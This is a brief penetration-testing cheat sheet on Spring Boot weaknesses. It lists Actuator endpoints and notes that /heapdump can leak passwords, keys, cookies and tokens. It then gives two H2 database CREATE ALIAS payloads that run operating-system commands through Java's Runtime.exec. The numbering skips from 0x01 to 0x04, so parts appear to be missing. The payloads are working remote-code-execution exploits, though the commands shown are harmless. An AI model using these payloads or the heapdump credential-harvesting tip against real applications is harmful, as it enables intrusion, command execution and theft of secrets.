Spring Boot Vulnerability (Keep On Updating)

0x01 Spring Boot Actuator Exposed

Actuator endpoints allow you to monitor and interact with your Spring application. Spring Boot includes a number of built-in endpoints and you can also add your own. For example the health endpoint provides basic application health information. The following endpoints are available:

• /autoconfig - Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied.

• /beans - Displays a complete list of all the Spring beans in your application.

• /configprops - Displays a collated list of all @ConfigurationProperties.

• /dump - Performs a thread dump.

• /heapdump - JVM heap dump information. Actually it is a binary file, you can utilize the tool named MemoryAnalyzer to analyze the file. Sometimes in this file maybe you can find PASSWORD / ACCESS_KEY / COOKIES / ACCESS_TOKEN or some sensitive information.

• /env - Exposes properties from Spring's ConfigurableEnvironment.

• /health - Shows application health information (a simple 'status' when accessed over an unauthenticated connection or full message details when authenticated).

• /info - Displays arbitrary application info.

• /metrics - Shows 'metrics' information for the current application.

• /mappings - Displays a collated list of all @RequestMapping paths.

• /shutdown - Allows the application to be gracefully shutdown (not enabled by default).

• /pause - Allows the application to be gracefully pause (not enabled by default).

• /resume - Allows the application to be gracefully resume (not enabled by default).

• /trace - Displays trace information (by default the last few HTTP requests).

0x04 Spring Boot RCE involving H2 Database ALIAS Command

Example 1: Execute id Command

CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

CALL EXECMD('id')

Example 2: Execute open -a Calculator Command

CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;

CALL EXECMD('open -a Calculator');
